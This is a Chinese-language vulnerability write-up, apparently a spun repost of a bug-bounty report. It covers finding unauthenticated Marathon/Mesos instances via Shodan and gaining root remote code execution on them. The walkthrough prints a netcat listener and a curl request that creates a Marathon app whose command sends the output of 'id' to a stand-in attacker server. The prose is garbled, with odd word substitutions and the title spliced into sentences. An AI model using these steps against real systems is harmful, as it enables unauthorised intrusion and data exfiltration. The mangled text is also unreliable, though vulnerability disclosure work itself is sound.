登陆

挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞

admin 2019-10-04 153人围观 ,发现0个评论

*本文中涉及到的相关缝隙已报送厂商并得到修正,本文仅限技术研究与评论,禁止用于不合法用处,不然发生的全部成果自行承当。

咱们好,今日要和咱们共享的是,作者在Shodan查找中发现某使用体系Marathon服务的无需暗码验证bug,进一步提权构成RCE缝隙。作为一名开发工程师,作者经过发现该缝隙得到的经历是:在做缝隙众测时,具有必定的开发布景经历非常重要,if you know how something works, you might be able to break it,只要了解方针使用的作业机制,才干有效地发现它存在的问题。终究作者凭仗该缝隙取得厂商$$,$$$上万美金的奖赏。

缝隙概要

某使用体系的容器编列渠道Marathon服务实例的root权限RCE缝隙。Marathon是一个出产等级的容器(Docker)编列渠道,用于中间层的数据中心操作体系(DC/OS)和Apache Mesos。Apache Mesos是一个分布式体系的办理软件,可对集群资源进行分配办理。Marathon算是一个依据Mesos的私有PaaS,它完成了Mesos的Framework,Marathon经过HAProxy完成服务发现和负载平衡,并为布置环境供给供给REST API服务、授权和SSL、装备束缚等功能。

因而,因为Marathon是Apache mesos的一个编列渠道,这意味着用户能够依据自己的需求组织要履行的使命,就像履行一条条简略的bash指令(类似于cronjobs这样的指令)。

缝隙复现

某天,当我在Shodan查找东西时,因为之前的项目需求,我必需要自己架起一些Marathon/Mesos/Spark之类的实例,所以我就天然想到了经过Shodan来看看,有哪些大公司在出产环境中布置了Marathon服务,但却未做任何拜访权限验证办法的。因而,我就依照“ssl:Redacted” “X-Marathon-Leader”这样的语法,在Shodan中进行查找,最终,还真发现了一些有意思的东西,如以下两个查找成果:

它们是拜访呼应状况码为HTTP/1.1 200 OK的两个Marathon服务实例,尽管不能百分百必定,但这种200呼应码的Marathon服务,90%的或许阐明无需任何暗码验证即可拜访。

所以,我当即依照Shodan中的显现成果,翻开了方针使用的Marathon服务链接:https://XXX.XXX.XXX.XXX/ui/#/apps ,之后就真的无需暗挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞码验证,立马就进入了Marathon的主界面,如下:

这样一来,我就能够在我自己的服务器上来布置监听上述Marathon服务的实例了,经过此种办法,直接实例对Marathon服务的的长途代码履行(RCE),办法如下:

1、在我自己的服务器上设置对端口55555的监听:

#set your own server to wait the response

root@h0st:~# nc -lvvv 55555

2、用Curl指令创立一个 Marathon 服务运转实例,并经过该实例来履行cmd指令,其间的attacker_server即为我服务器的IP地址。详细指令如下:

# create a marathon application that will be execute any command that you want (in this case is /usr/bin/wget --user-agent=marathon-id --post-data=`id`)

# replace attacker_server with your listening server that you set up with netcat and the挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞 "rce-id" tag with your own custom tag, this is the Marathon application name

curl -sk -X POST -H "Content-type: application/json" https://XXX.XXX.XXX.XXX/v2/apps -d '{ "mem": 16, "id": "rce-id", "cmd": "/usr/bin/wget --user-agent=marathon-id --post-data=`id` attacker_server:55555"}'

3、再翻开https://XXX.XXX.X挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞XX.XXX/ui/#/apps 的Marathon服务办理界面,能够看到其间现已包含了一个名为“rce-id”的实例,这便是咱们刚刚用curl指令创立的。在我的自架服务器中,稍等一会,就能看到XXX.XXX.XXX.XXX呼应回来的cmd指令输出成果:

PS:测验往后,为了不对方针使用体系形成安全影响,我及时从Marathon界面中删除了创立的“rce-id”实例。 整个过程中,就用到了netcat、curl李左飞指令和浏览器,别的,当然首要仍是Shodan很给力了。

*参阅来历:omespino,clouds编译收拾,转载请注明来自FreeBuf.COM

挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞
请关注微信公众号
微信二维码
不容错过
Powered By Z-BlogPHP